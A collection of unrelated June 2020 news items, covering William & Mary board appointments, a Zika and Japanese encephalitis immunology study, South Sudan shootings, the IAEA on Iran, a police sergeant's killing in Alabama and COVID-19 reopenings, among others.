Hudson will succeed Warren W. Buck III M.S. 70, Ph.D. 76, D.Sc. 13, who has agreed to a new volunteer role as special advisor for equity in the 21st century to President Katherine A. Rowe. In this role, Buck will work directly with Chief Diversity Officer Chon Glover on special projects and serve as a liaison between the administration and campus communities. He will also serve as a sounding board to Rowe and university leadership on efforts to strengthen innovation and equality across the institution.

Warren is one of our most distinguished alumni, whose commitment to education and promoting inclusion and equity at William & Mary began roughly five decades ago when he was a graduate student and student activist. Through his distinguished career as a teacher, scholar, mentor and ultimately a university chancellor, he has led positive institutional change with grace. Over the past two years, Dr. Buck has served as a valued member of the universitys governing board and guide to me, as I have come to know William & Mary, Rowe said. I am thrilled he has agreed to this new, important role as we commit to pursuing innovative ways to advance equity at the university.

We simultaneously welcome Cynthia enthusiastically, Rowe continued. She brings to William & Mary broad expertise in the law, a deep understanding of the commonwealth and a bottomless commitment to service. She will make an extraordinary addition to the Board of Visitors, the excellence of which is assured with the reappointments of Rector Littel and Doug Bunch, Brian Woolfolk and Anne Leigh Kerr.

Bunch serves as the chair of the Committee on Academic Affairs and is a member of the Committee on Student Experience and the Committee on Financial Affairs. Kerr is the vice chair of the Committee on Institutional Advancement and is a member of the Committee on Academic Affairs and the Committee on Financial Affairs. Woolfolk serves as the chair of the Committee on Audit, Risk and Compliance and is a member of the Executive Committee and the Richard Bland College Committee.

Buck was appointed to the board in 2016 and served as vice chair of the Committee on Administration, Buildings and Grounds. He was also a member of the Committee on Academic Affairs, the Richard Bland College Committee and served as the board liaison to the Monroe Legacy Working Group and the 1619-2019 Commemoration.

The 17-member board, currently led by Littel, is the governing body of the university.

Warrens brilliant insights, dedication and passion have been a real gift to the William & Mary Board of Visitors and to me personally, Littel said. We aspire to produce graduates who change the world through excellence, service and commitment, and Warren embodies that. The board is indebted for his service and contributions. William & Mary is so fortunate to have Warren, and this new role comes at a critical time for our university. He will be invaluable to our collective commitment to stand together to combat racism and strengthen equity.

I also very much look forward to working closely with Cynthia, another devoted and experienced member of the alumni community, and am thankful for her willingness to serve this community at such a critical time for higher education. Additionally, I am delighted to continue working closely with Anne Leigh, Doug and Brian, who have all contributed significantly to William & Mary and the boards success.

Cynthia E. Hudson J.D. 87

Hudson has had a highly decorated career in law and public service. Since March, she has worked in the government group of Sands Anderson Law in Richmond, where she has specialized in representing local and state government clients.

Previously, she served as chief deputy attorney general of Virginia for six years, managing the day-to-day legal service and administrative operations of the Office of Attorney General Mark R. Herring. Many of her notable achievements while in office centered around equality, opportunity and criminal justice.

Before her appointment as chief deputy, Hudson served eight years as the city attorney in Hampton.

Early in her career, Hudson worked in private practice with a focus on labor and employment. She taught as an adjunct professor in state and local government law at the William & Mary Law School in the spring of 2011 and also served as an adjunct faculty member at the University of Richmond in the fall of 1991.

Her extensive time as a public servant includes her current position as chair of the Governors Commission to Examine Racial Inequity in the Law. Moreover, she recently served as a member of the Virginia State Crime Commission and co-chair of the Governors Commission on Diversity, Equity & Inclusion.

Hudson was president of the Local Government Attorneys of Virginia and also served on the boards of many nonprofit organizations, such as Transitions Family Violence Services, Riverside Behavioral Health Center, the Boys & Girls Club of Greater Hampton Roads and Peninsula Metropolitan YMCA.

Among her many career accolades, Hudson was named to Virginia Lawyers Weeklys first Class of Influential Women of Law in 2019 and was also awarded as the Oliver Hill Civil Rights Leader by the Richmond Chapter of the NAACP in 2018. She was inducted into the Virginia Law Foundation as a fellow in the class of 2015.

Warren W. Buck III M.S. 70, Ph.D. 76, D.Sc. 13

Internationally known for his work in physics and physics education, Buck is a professor and chancellor emeritus of the University of Washington, Bothell (UWB). He became the first chancellor of UWB in 1999 and during his tenure helped it grow to a four-year institution. In 2006, Buck returned to the faculty as professor of physics and in 2009 became the first director of UWBs Science and Technology Program, now the School of STEM.

Prior to joining UWB, Buck was a prominent member of a team that established the scientific program at the Department of Energys Thomas Jefferson Accelerator Facility and was the founding director of the Nuclear/High Energy Physics Research Center of Excellence and a professor of physics at Hampton University.

In 2018, Buck was named among the 2018 Strong Men & Women in Virginia History by Dominion Energy and the Library of Virginia. He serves as an adjunct professor of physics at W&M.

Buck is also an emeritus member of the Board of Trustees of the Pacific Northwest University of Health Sciences, where he chaired its Academic Affairs Committee.

As a graduate student at William & Mary, Buck received a National Science Foundation fellowship and was founding president of William & Marys Black Student Organization. He served on the Alumni Association Board of Directors from 1998 to 2004, including a two-year term as the boards secretary. In 2006, he delivered the keynote address at William & Marys Opening Convocation, and in 2013 the university awarded him an honorary Doctor of Science degree at Commencement.

Todd Stottlemyer 85, who served as rector from 2013 to 2018, called Buck a pioneering civil rights leader, accomplished scholar and said he is ideally suited to serve as special assistant.

Warrens courage as a graduate student at William & Mary to speak truth to power for the cause of racial justice and human equality is an example to us all, particularly at a time when the country is engaged in a debate about the evils of racism, Stottlemyer said. I was deeply honored and privileged to lead the Board of Visitors and learn from Warrens example and gentle and humble spirit. I will always cherish his eloquent and beautiful words and deep-seated emotions when the Board unanimously passed a resolution acknowledging and apologizing for William & Marys role in slavery, segregation and Massive Resistance.
The Daily Beast

via TwitterA man and woman in New York have been both fired and arrested for verbally assaulting a family on a train in an incident that police have determined to be a hate crime.The Daily Voice reported that Justin Likerman and Kristin Digesaro, of Long Island, turned themselves in on Wednesday. They have been charged with aggravated harassment and endangering the welfare of a child. New Yorks Metropolitan Transit Authority said the charges were brought in conjunction with the Manhattan Distri
Future vaccines will need to harness the power of T cells in preventing Zika fever and Japanese encephalitis

LA JOLLA--Every year, more than 68,000 people end up with a clinical case of Japanese encephalitis. One in four of these patients will die. The mosquito-borne virus, which is most common in Southeast Asia, also causes severe neurological damage and psychiatric disorders.

There is no cure for Japanese encephalitis, but there are effective vaccines against Japanese encephalitis virus (JEV). The problem is that JEV's range is spreading, and more and more people at risk of the disease also live in areas where viruses like Zika are prevalent.

In a new study, published June 5, 2020, in the Journal of Experimental Medicine, scientists at La Jolla Institute for Immunology (LJI) shows that antibodies against JEV are "cross-reactive" and can also recognize Zika virus. Unfortunately, these antibodies can actually make Zika cases more severe. The research, conducted in mice, is the first to show that T cells can counteract this dangerous phenomenon.

"This means we probably need to be developing a vaccine against both viruses that can elicit a good balance of antibodies and T cells," says Associate Professor Sujan Shresta, Ph.D., who co-led the study in collaboration with Jinsheng Wen, Ph.D., of Ningbo University and Wenzhou Medical University, and Yanjun Zhang, Ph.D., of Zhejiang Provincial Center for Disease Control and Prevention.

Shresta has spent much of her career studying flaviruses, a family of viruses which includes Zika, JEV, dengue, West Nile virus and yellow fever. These diseases have spread in recent years as more people around the world have moved to cities and climate change has allowed the mosquitoes that carry these diseases to expand their habitat. People in many countries now live at risk of encountering multiple harmful flaviviruses in their lives.

"The immune responses to these viruses are very cross-reactive," says Shresta. "The problem is that the immune response can be both good and bad."

In some cases, antibodies against one flavivirus can make a future flavivirus infection even worse by allowing the virus to enter host cells. Shresta and investigators worldwide have shown this process, called antibody-dependent enhancement (ADE), during Zika and dengue infections in animal models that recapitulate severe dengue or Zika disease in individuals with prior exposure to dengue or Zika virus. However, ADE of Zika disease in cases of previous JEV exposure, and the interplay between antibodies and infection-fighting immune cells called CD8+ T cells, had not been studied before.

For the new study, Shresta and her colleagues took antibodies from JEV-infected mice or JEV-vaccinated people and injected them into healthy mice. The healthy mice were then exposed to Zika virus. These mice experienced ADE and had far more severe cases of Zika fever than mice with no antibodies against JEV.

Shresta and her colleagues next focused their attention on CD8+ T cells from JEV-infected mice. They found that CD8+ T cells primed to fight JEV could counteract the harmful effects of cross-reactive antibodies. "These JEV-elicited T cells were indeed able to recognize and get rid of the Zika virus infection," says Shresta.

In short, the mouse survival rate went up and their viral load went down, thanks to the CD8+ T cells. A future JEV vaccine would need to prompt a similar response from CD8+ T cells to help a person avoid ADE of Zika infection.

Shresta says this work can help shed light on how to fight the whole family of flaviviruses, which includes over 70 different species, and many countries are increasingly dealing with cocirculation of multiple flaviviruses. "Any of these viruses could cause a major, major outbreak," says Shresta. "We need to look at deploying a combination Zika/JEV vaccine, and we may need to tailor vaccines to particular locations where we know both JEV and Zika pose a threat."

Shresta adds that research into cross-reactive antibodies and T cell responses is especially important today as scientists investigate whether exposure to common cold coronaviruses can leave a person with any immunity against SARS-CoV-2, the novel coronavirus.

"This provides us with a really good model to learn about immune response," Shresta says.

###

The study, titled, "Japanese encephalitis virus-primed CD8+ T cells prevent antibody-dependent enhancement of Zika virus pathogenesis," was supported by the K.C. Wong Magna Fund of Ningbo University, the Zhejiang Provincial Natural Science Foundation (LY17C010004), the National Natural Science Foundation of China (31870159) and institutional funds from the La Jolla Institute for Immunology.

Additional authors included Zhiliang Duan, Wenhua Zhou, Weiwei Zou, Shengwei Jin, Dezhou Li, Xinyu Chen, Yongchao Zhou, Lan Yang and Yanjun Zhang.

DOI: 10.1084/jem.20192152

About La Jolla Institute for Immunology

The La Jolla Institute for Immunology is dedicated to understanding the intricacies and power of the immune system so that we may apply that knowledge to promote human health and prevent a wide range of diseases. Since its founding in 1988 as an independent, nonprofit research organization, the Institute has made numerous advances leading toward its goal: life without disease.
South Sudanese Army Officer Dies of Injuries Following Implication in Civilian Death

By David Manyang Mayar June 04, 2020

A senior South Sudanese army officer implicated in the shooting deaths of four civilians has succumbed to his injuries and died at a hospital in Juba.

A source in the office of President Salva Kiir who is not authorized to speak to the media said Lual Okook Wol Kiir died from injuries he sustained during a gunfight involving his bodyguards and civilians on the outskirts of the city on Wednesday.

At least three other people died in the shootout in Juba's Sherikat neighborhood. Residents say the shootings occurred when Wol Kiir, a distant cousin of the president, ordered soldiers and police to open fire on demonstrators.

Demonstrator Juuk Thiong Juuk said Wol Kiir, who was also known as Lual Marine, was trying to steal land from local residents.

"Lual Marine is trying to grab land from the civilians and when the citizens try to reopen their businesses, Lual Marine came with his soldiers and immediately started shooting civilians and in that moment he shot dead two men and one women and other five are injured," Juuk told VOA's South Sudan in Focus program.

Shortly after the shootings took place, some Sherikat residents took to the streets to demonstrate. They chanted slogans condemning President Kiir, burned tires, and blocked the Nimule highway, a major route leading into and out of Juba.

A statement released by presidential spokesman Ateny Wek Ateny on Wednesday called the killings a "very serious criminal act" and said the perpetrators "must be punished."

Lual Marine was arrested by authorities before he died.

South Sudan Army spokesman Major General Lul Ruai Koang said there was a "misunderstanding" in Sherikat "and it got out of hand and as a result, some shooting ensued between him and his bodyguards on one hand and civilians on the other."

Police and soldiers were seen using live bullets to disperse demonstrators in Juba Wednesday.

Resident Garang Abraham said he witnessed an officer shoot another demonstrator.

"We were coming together and he got shot by the police. He is wounded here on the leg from inside," Abraham told South Sudan in Focus. Abraham said the demonstrator later died.

Demonstrator Amer Majur said she and other Sherikat residents are angry over the killings.

"Today, the government is killing our brother. They are killing our sisters. Very innocent, very innocent lady, who making their tea to help their kids and the one that killed them is government of South Sudan," Majur told South Sudan in Focus.

Ateny's statement said, "The President of the Republic urges restraint from the families and community of the victims."

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LUXEMBOURG, June 5, 2020 /PRNewswire/ -- Ardagh Group ("Ardagh") has today priced an issue of 790 million 2.125% Senior Secured Notes due 2026 (the "Notes") at 96.5, representing a yield of 2.74%. The Notes mirror the terms of our 2.125% Senior Secured Notes due 2026, issued in August 2019.

Proceeds from the issuance of the Notes, net of expenses, will be used to redeem in full the 741 million 2.750% Senior Secured Notes due 2024, as well as to pay accrued interest and redemption premium.

Paul Coulson, Chairman and CEO, said "Ardagh is delighted with the very strong support we received in today's upsized transaction. Following our capital markets activity of recent weeks we have no bond maturities before 2025, a weighted average debt maturity of six years and we have significantly increased our liquidity."

This release is for information purposes only and is not an offer to purchase, or a solicitation of an offer to purchase, any of the 2.750% Senior Secured Notes due 2024.

Ardagh Group is a global supplier of infinitely recyclable, metal and glass packaging for the world's leading brands. Ardagh operates more than 50 metal and glass production facilities in 12 countries across three continents, employing over 16,000 people with sales of $6.7bn.

The offering of the Notes will be made pursuant to an exemption under the Prospectus Regulation, as implemented in Member States of the European Economic Area, from the requirement to produce a prospectus for offers of securities. This announcement does not constitute an advertisement for the purposes of the Prospectus Regulation.

The Notes have not been registered under the U.S. Securities Act of 1933, as amended, or any U.S. State security laws. Accordingly, the Notes are being offered and sold in the United States only to qualified institutional buyers in accordance with Rule 144A under the U.S. Securities Act of 1933 and outside the United States in accordance with Regulation S under the U.S. Securities Act of 1933. This announcement does not constitute an offer to sell or the solicitation of an offer to buy any securities, nor will there be any sale of securities referred to in this announcement, in any jurisdiction, including the United States, in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of such jurisdiction. Securities may not be offered or sold in the United States absent registration under the U.S. Securities Act of 1933, or an exemption from registration.

MiFID II professionals/ECPs-only/No PRIIPs KID  Manufacturer target market (MIFID II product governance) is eligible counterparties and professional clients only (all distribution channels). No PRIIPs key information document (KID) has been prepared as not available to retail in EEA.

The documentation detailing the investment or investment activity to which this press release relates has not been approved by an authorized person in the United Kingdom and is for distribution only to persons who (i) have professional experience in matters relating to investments falling within Article 19(5) of the UK Financial Services and Markets Act 2000 (Financial Promotion) Order 2005, as amended (the "Financial Promotion Order"), (ii) are persons falling within Articles 49(2)(a) to (d) (high net worth companies, unincorporated associations, etc.) of the Financial Promotion Order, (iii) are outside the United Kingdom or (iv) are persons to whom an invitation or inducement to engage in investment activity within the meaning of Section 21 of the UK Financial Services and Markets Act 2000 in connection with the issue or sale of any securities may otherwise lawfully be communicated or caused to be communicated (all such persons together being referred to as "relevant persons"). The documentation detailing the investment or investment activity is directed only at relevant persons and must not be acted on or relied on by persons who are not relevant persons. Any investment or investment activity to which this press release relates is available only to relevant persons and will be engaged in only with relevant persons.

SOURCE Ardagh Group S.A.

Related Links

http://www.ardaghgroup.com


Funeral arrangements have been announced for a Moody police sergeant who was shot and killed earlier this week at the Super 8 motel.

Sgt. Stephen Williams visitation will be Sunday, June 7, from 5 p.m. until 9 p.m. at Ridouts Southern Heritage Funeral Home at 1011 Cahaba Valley Road in Pelham. His funeral will be held on Monday at 11 a.m. at First Baptist Church in Moody on Church Street.

The St. Clair County Sheriffs Office has scheduled a 1 p.m. Friday press conference to announce arrests in the case.

Williams, a 50-year-old father of three, had been a police officer for 23 years, the last three of those at the Moody Police Department. He began his law enforcement career at the Bessemer Police Department.

Hunt said Williams had just been promoted to sergeant in the past year and was a recipient of the Officer of the Year award in memory of Keith Turner,who was shot to death June 27, 1998 and was the last Moody officer killed in the line of duty.

Oh, he was awesome, Hunt said of Williams. He was just a good man, a good person, fun to be around.

He was very thorough in his reports, a good teacher, a good mentor, the chief said. A lot of the guys looked up to Steve.

"All I can ask is for everybody to please be in prayer for the Williams family and for the Moody police department,'' Hunt said.

The shooting happened shortly before 9:30 p.m. Tuesday at the motel on Moody Parkway. A medical helicopter was sent for Williams, but the officer was instead taken by ambulance to UAB Hospital.

Amar Fouda just moved into the Super 8 on U.S. 411. He said it was about 9:25 when he heard a lot of noise in Room 214, which is directly next to his room.

I heard like an AK-47, he said. Fouda said he ran into the bathroom and hid in the tub.

When he saw blue lights come on the scene, he looked outside. I saw one of the officers, he was down, Fouda said.

He said he didnt know why police were at the motel but said his neighbors had been making a lot of noise.

More than 1,000 Moody residents have signed a petition urging the city council to revoke the business license of the motel where Sgt. Stephen Williams was fatally shot Tuesday night, arguing the shooting has escalated the need to close this business for good.

Amy Stewart, a Moody resident who started the petition, said the shooting of Williams was the latest incident that showed the motel does not deserve a business license.

The recent slaying of Sergeant Stephen Williams on Tuesday June 2, 2020 has escalated the need to close this business for good, Stewarts petition reads. We ask that the city council and Mayor Joe Lee revoke their business license immediately for the safety of our community.

Williams is the second Alabama police officer shot to death in the line of duty in 2020.

Kimberly police officer Nick ORear was fatally shot on Feb. 4 during a pursuit on Interstate 65 South.
A GoFundMe page set up for George Floyd has received the most individual donations ever recorded on the crowdsourcing website amid continued protests in memory of his death.

On Friday, TMZ reported that the Official George Floyd Memorial Fund set the new record after it received the highest number of individual donations for a GoFundMe page, with donations made by people from 125 different countries around the world, according to a spokesperson for GoFundMe.

As of now, the GoFundMe page, which was created two days after Floyd was killed by a white former police officer on 25 May, has received more than 479,000 donations and raised more than $13m, far surpassing its $1.5m goal.

According to Floyds brother Philonise, who confirmed on GoFundMe that all of the donations will go to Floyds family, the money will go towards funeral and burial expenses, mental and grief counselling, lodging and travel for all court proceedings, and to assist our family in the days to come as we continue to seek justice for George.

A portion of the money will also go to the Estate of George Floyd for the benefit and care of his children and their educational fund.

From the bottom of our hearts my family thanks each of you who have reached out. While we are not able to respond to each expression of love at this time, please know that we love and appreciate each and every one of you. Our hearts are overwhelmed! Philonise wrote.

On Thursday, the first of four memorials planned for Floyd was held in Minneapolis, Minnesota. A second memorial for the 46-year-old will be held on Saturday in North Carolina, before two memorials take place in Houston, Texas next week.

As people around the globe continue to protest against racism and police brutality on behalf of Floyd, GoFundMe said in a statement shared on Twitter this week that it had seen an outpouring of global support on GoFundMe for George Floyd's family, peaceful protestors demanding change, and organisations fighting for equality and accountability.

The Independent has contacted GoFundMe for comment.

You can donate to Floyd's GoFundMe here.
IAEA also expresses serious concern at Irans failure to provide access to two sites for months.

Iran has continued enriching uranium beyond limits set in the 2015 nuclear deal it signed with world powers, the United Nations nuclear watchdog has reported.

The Joint Comprehensive Plan of Action (JCPOA), which has been in jeopardy ever since the United States unilaterally withdrew in 2018, set a limit of 300kg (661 pounds) of enriched uranium in a particular compound form, which is the equivalent of 202.8kg (447 pounds) of uranium.

In comparison to the latter number, the stockpile stood at 1,571.6kg (3,465 pounds) on May 20, at nearly eight times the limit, according to a confidential report by the International Atomic Energy Agency (IAEA) distributed to member countries and seen by the AFP news agency on Friday.

The IAEA reported that Iran has also been continuing to enrich uranium to a purity of 4.5 percent, higher than the 3.67 percent allowed under the JCPOA. It is also above the pacts limitations on heavy water.

The 2015 nuclear deal, which was also signed by Germany, France, the United Kingdom, China and Russia, promised Iran economic incentives in return for the curbs on its nuclear programme.

Since President Donald Trump pulled the US out of the deal and reimposed crippling economic sanctions against the Iranian economy as part of a maximum pressure campaign, Tehran has been scaling back its compliance with the accord.

The ultimate goal of the JCPOA is to prevent Iran from developing a nuclear bomb  something that Tehran says it does not want to do.





Serious concern

The UNs nuclear watchdog also expressed serious concern on Friday at Irans failure to provide access to two sites it wants to visit in relation to possible undeclared material and activities.

The IAEA noted with serious concern that, for over four months, Iran has denied access to Agency  to two locations, according to the report.

The IAEA issued a report in March admonishing Iran for failing to answer its questions about past nuclear activities at three sites and for denying it access to two of them.

Diplomats have since said the agency is looking into activities at the sites that predate its 2015 deal with major powers.

A report to IAEA member states issued on Tuesday detailed suspected activities and materials including the possible presence  of natural uranium in the form of a metal disc at a site that underwent extensive sanitization and levelling in 2003 and 2004, the report said, describing the third site.

The [IAEA] director general calls on Iran immediately to cooperate fully with the agency, including by providing prompt access to the locations specified, the IAEA report said.
The appointees include two senior Indian Administrative Service (IAS) officers who have been working with the Prime Minister's Office for long.

Senior bureaucrat Brajendra Navnit and young IAS officer Rajeev Topno, who are among the six, have been currently working with the Prime Minister's Office (PMO) and have been given tasks to achieve success in their field as expected by the government.

The others are Ravi Kota, Lekhan Thakkar, H. Atheli, Anwar Hussain Shaik, and N. Ashok Kumar.

Brajendra Navnit, a 1999 batch Tamil Nadu cadre IAS officer, has been chosen as Ambassador and Permanent Representative of India to the WTO, Geneva. The Joint Secretary-level post is under the Commerce Ministry. Navnit was last year given an extension in service as Joint Secretary in the PMO. He was appointed as Joint Secretary in PMO in a massive mid-level reshuffle in 2016. Before that, he was then working as Director in PMO.

Topno, a 1996 batch Gujarat cadre IAS officer, has been appointed Senior Advisor to the ED, World Bank, Washington DC. The post, also at Joint Secretary level, is under the Department of Economic Affairs. The 46-year-old officer is currently working as a Director to the Prime Minister's office. He was appointed private secretary to the Prime Minister on July 16, 2014.

Kota, a 1993 batch Assam Cadre IAS officer, has been appointed as Minister (Economic) in the Indian Embassy in Washington DC. The Joint Secretary-level post is under the Department of Economic Affairs.

Takkar, a Central Secretariat Service official, has been appointed Counsellor (Economic) in the Indian Embassy in Beijing. The Director-level post is under the Department of Economic Affairs.

Atheli, a 2000 batch Indian Civil Accounts Service officer, has been appointed Advisor to the ED, Asian Development Bank, Manila. The Director-level post isunder the Department of Economic Affairs.

Shaik, a 2000 batch Indian Railway Traffic Service official, has been appointed Counsellor in the Permanent Mission of India to the WTO, Geneva. The Director-level post is under the Department of Commerce.

Ashok Kumar, a 2004 batch Manipur cadre IAS officer, has been appointed Advisor (Industry and Engineering) in the Indian Embassy in Brussels. It is also a Director-level post under the Department of Commerce.

The Appointments Committee of the Cabinet, chaired by Prime Minister Narendra Modi, approved the appointments to foreign or captive posts under the Department of Economic Affairs and Department of Commerce for a period of three years for the date of assumption of charge or until further orders, whichever is earlier, said a Ministry of Personnel order.

As per the subject to the condition, the diplomatic equation of Kota, Thakkar, Navnit, Shaik and Kumar will not be upgraded during the course of their posting abroad due to any reason, such as revision of pay scale from the prospective or retrospective date, earning of annual increment (s) and promotion in parent cadre, said a memorandum issued by the Ministry.

The order has been circulated to the Secretaries of the Departments of Economic Affairs and Commerce. A similar copy has been forwarded to the PMO, Cabinet Secretary, Secretary, External Affairs, and other departments concerned.



This seems India's plan to kick-start exports once the country emerges from the shadows of the Covid-19 pandemic.

The task for these officers includes cutting down import dependence, especially from China, by focussing aggressively on substitution while improving safety compliance and quality goods to gain global market share and boost commercial activities with the US, Philippines, Switzerland and Belgium, said sources.

The move comes as India is mapping out post novel coronavirus pandemic plans to boost India's economy as well as making it self dependent. The Commerce and Industry Ministry is mulling setting up groups to draw up strategies for sectors where China has vacated space and countries are looking to diversify suppliers.

(Rajnish Singh can be contacted at rajnish.s@ians.in)

--IANS

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Linkedin Sarah Mills (Reuters) London  Fri, June 5, 2020 12:37 595 fc6853813033f564188675f8bdc5d1e5 2 Entertainment BAFTA-Film-Awards,chernobyl,awards,coronavirus,COVID-19 Free

The British Academy of Film and Television Arts will celebrate the best of television broadcast in the United Kingdom during 2019 in a live show at the end of July - though with stars and studio audience absent.

'Chernobyl', HBO's critically acclaimed dramatization of events surrounding the world's worst nuclear accident, tops the roll-call of nominations announced on Thursday, with 14.

"We've had over 500 entries this year... (so) it was really fiercely contested," BAFTA chair Krishnendu Majumdar told Reuters TV.

Nominations fall into two categories, television and television craft, with winners of the former to be announced at the Virgin Media British Academy Television Awards ceremony on July 31.

As things stand with the coronavirus pandemic, nominees are expected to film their speeches rather than appear in person and there are no plans for a big audience. There will however be a live element to the BBC show, which actor and filmmaker Richard Ayoade will present.

Read also: Wes Anderson, Pixar movies among Cannes would-be highlights

"All those details are being worked out at the moment because the social distancing rules are changing. What we can say at the moment is that there will be a show in a studio and we're working out the participants," Majumdar said.

'Chernobyl' nominations include leading actor for Jared Harris, supporting actor for Stellan Skarsgard, and mini-series.

'The Crown', the warts-and-all account of the reign of Queen Elizabeth that aired its third season last year, has seven nominations, with Phoebe Waller-Bridge's black comedy 'Fleabag' and Anglo-Japanese thriller 'Giri/Haji' on six each.

The British Academy Television Craft Awards will be announced online on July 17.
Forbes Magazine dropped its annual list of the World's Highest Paid Celebrities.

And Kanye West earned the top spot as the highest-paid musician of 2020, as well as the second-highest paid celebrity overall.

While sister-in-law Kylie Jenner far outpaced the competition by topping the main celebrity list by bringing-in $590 million, West came in at number two with $170 million, which was more than double than the next musician on the list, Elton John, who earned $81 million.

Top melody maker: Kanye West earned the top spot on Forbes Magazine's Highest Paid Musicians list for 2020, raking in $170 million

However, rapper West had a run in with the publication in April, when they named him a billionaire.

The article noted that West was left unhappy with their research and findings - stating that he believes his net worth to be around $3.3 billion, rather than the $1.26 billion they have estimated.

'It's not a billion,' West allegedly texted the publication. 'It's $3.3 billion since no one at Forbes knows how to count.'

Meanwhile, following on the heels of West and John, Ariana Grande notched the third highest-paid musician spot with $72 million, largely behind her massive Sweetener Tour in support of her two studio albums Sweetener and Thank U, Next.

Riding on their hugely successful Happiness Begins reunion tour and album, the Jonas Brothers came in fourth with $68.5 million.

The American electronic DJ and production duo, The Chainsmokers, took the fifth spot earning $68 million.

Rounding out the top 10 highest-paid musicians: Ed Sheeran $64 million, Taylor Swift $63.5 million, Post Malone $60 million, Rolling Stones $59 million and Marshmello $56 million.

Money maker: Much of West's $170 million came from his Yeezy sneakers deal with Adidas

Chart-topper: West's money-making year also included the much-anticipated release of his Christian hip-hop album, Jesus Is King, which went on to become the first album to ever top the Billboard 200, Top R&B/Hip-Hop Albums, Top Rap Albums, Top Christian Albums and Top Gospel Albums at the same time

Much of West's $170 million came from his Yeezy sneakers deal with Adidas. Overall, Forbes now has his officially worth at $1.3 billion, which came after the rapper and entrepreneur waged a years-long public campaign, according to Business Insider.

His money-making year also included the much-anticipated release of his Christian hip-hop album, Jesus Is King, in October 2019 and his Sunday Service album Jesus Is Born in December 2019.

Jesus Is King went on to become the first album to ever top the Billboard 200, Top R&B/Hip-Hop Albums, Top Rap Albums, Top Christian Albums and Top Gospel Albums at the same time.

The Georgia native, 42, also collaborated with Vanessa Beecroft on two operas -- Nebuchadnezzar and Mary.

New tax bracket: Overall, Forbes now has West's officially worth at $1.3 billion, which came after the rapper and entrepreneur waged a years-long public campaign

Forbes' Highest Paid Musicians list will likely take a huge plunge in dollar amounts in the post COVID-19 world.

With the major changes in the music industry in the wake of the digital age, most of the top-earning artists made a large portion of their income from live performances and touring.

But that will not be the case when it comes to the next list, with touring completely shutdown since March 2020 due to the pandemic, and postponed indefinitely at this point.

Although artists like West, Jay-Z and Rihanna will likely not have their revenue streams hit as hard due to their diversified business holdings.
Barbershops, hair salons and other personal-care businesses will soon be able to reopen statewide in Michigan with safety measures in place to reduce the spread of the coronavirus, Gov. Gretchen Whitmer announced Friday.

Personal services including hair, massages, nails and tattoos will be permitted to reopen on Monday, June 15. Whitmer said the days leading up to the reopening date will allow business owners and employees to prepare for a safe reopening.

Michigans personal care services have been closed since March 22 in an effort to reduce the spread of COVID-19, which has infected at least 58,241 Michiganders and has been linked to 5,595 deaths since mid-March.

Fridays news comes as the states seven-day moving average dropped to 318 new cases per day -- the lowest since March 22.

The sacrifice weve made is paying off, Whitmer said. "When you look at how we compare to the rest of the nation, we can see this was a virus that hit us aggressively. Weve had a uniquely tough time with COVID-19. We took the steps we needed to start to save lives and built up our (personal protective equipment) and our testing capability.

But COVID-19 is still very present here in Michigan. Thats why its up to all of us to keep doing our part.

Gov. Whitmer signed a pair of executive orders Friday. Executive Order 2020-114 sets safety guidelines for reopening for all businesses or operations that require their employees to leave their home for work. Businesses must provide COVID-19 training to employees, develop a COVID-19 response plan, develop a self-screening protocol for employees, and keep employees 6 feet apart when possible or require them to wear masks when they cant.

The second executive order -- 2020-115 -- announced various June 15 openings, including hair, nail, tanning, massage, traditional spa, tattoo, body art, piercing services and similar personal care services statewide.

While the governor is giving these personal care businesses the green light to reopen, most of Michigans Lower Peninsula remains in phase four of the six-phase MI Safe Start plan. The governor said she hopes to move the state into phase five, which allows for more re-opening, in the coming weeks.

Today marks another milestone in the safe reopening of Michigans economy, Whitmer said. As we continue to slowly reopen different parts of our state, its critical that we listen to the experts and follow the medical science to avoid a second wave of infections. The good news is that we are headed in the right direction, and if the current trajectory continues, I anticipate well be able to announce more sectors reopening in the coming weeks. We owe it to our front line workers to keep doing our part.

Related: Gov. Whitmer apologizes to barbers, stylists for comment about Googling haircuts

Scott Weaver, owner and CEO of Douglas J, expressed the beauty industrys absolute excitement and appreciation for the re-opening of the cosmetology and barbering industry. He said the industry is well prepared to manage and safeguard the health and well-being of its clients and the public.

As the owner and CEO of Douglas J, on behalf of our entire Douglas J family, and the entire beauty industry, I want to acknowledge and give appreciation to the governor, he said in a prepared statement. "Your work in safeguarding our health, and now reopening and rebuilding our economy is surely a giant task, and we thank you most sincerely.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Read more on MLive:

Owosso barber says he wont be bullied as Michigan AGs Office files motion to find him in contempt of court

Friday, June 5: Latest developments on coronavirus in Michigan

Michigan hospitals still treating 1,000 coronavirus patients

From hair salons to gyms, experts rank 36 activities by coronavirus risk level
(TNS)  The Federal Communications Commission announced Wednesday a local hospital will receive funding through the Coronavirus Aid, Relief and Economic Security (CARES) Act to expand telehealth capabilities.The funding comes after the approval of 53 additional applications for the COVID-19 Telehealth Program. Duncan Regional Hospital will receive a slice of the $16.46 million in funding.Duncan Regional Hospital will receive a total of $56,266. That money will go toward teleconferencing equipment and software licenses, and remote monitoring equipment to expand telehealth offerings for primary care and mental health patients by sending equipment home with chronic patients to allow home care monitoring and communication with medical staff during the COVID-19 pandemic and, after the pandemic, to provide better care in rural locations, according to the FCC.According to the FCC, health care providers receiving the funding represent both urban and rural areas and since the FCC Telehealth Program began, 238 health care providers across 41 states have received a total of $84.96 million in funding.
France on Thursday cancelled the 2020 Bastille Day military parade due to coronavirus social distancing requirements. It will be replaced by a tribute to health workers fighting the pandemic.

Rather than the traditional march of soldiers and military hardware down the Champs-Elysees on July 14, this year will see a much smaller ceremony at the Place de la Concorde.

This will be the first year without a parade since the end of World War II.

It normally starts at the Arc de Triomphe, a monument to those who fought for France, and ends at Concorde, where King Louis XVI was beheaded in 1793 in the revolution that overthrew France's monarchy.

Social distancing

This year, the square will host a military ceremony with some 2,000 participants and 2,500 guests, who will gather in strict respect of social distancing rules seeking to halt the spread of the coronavirus pandemic that has killed more than 29,000 people in France.

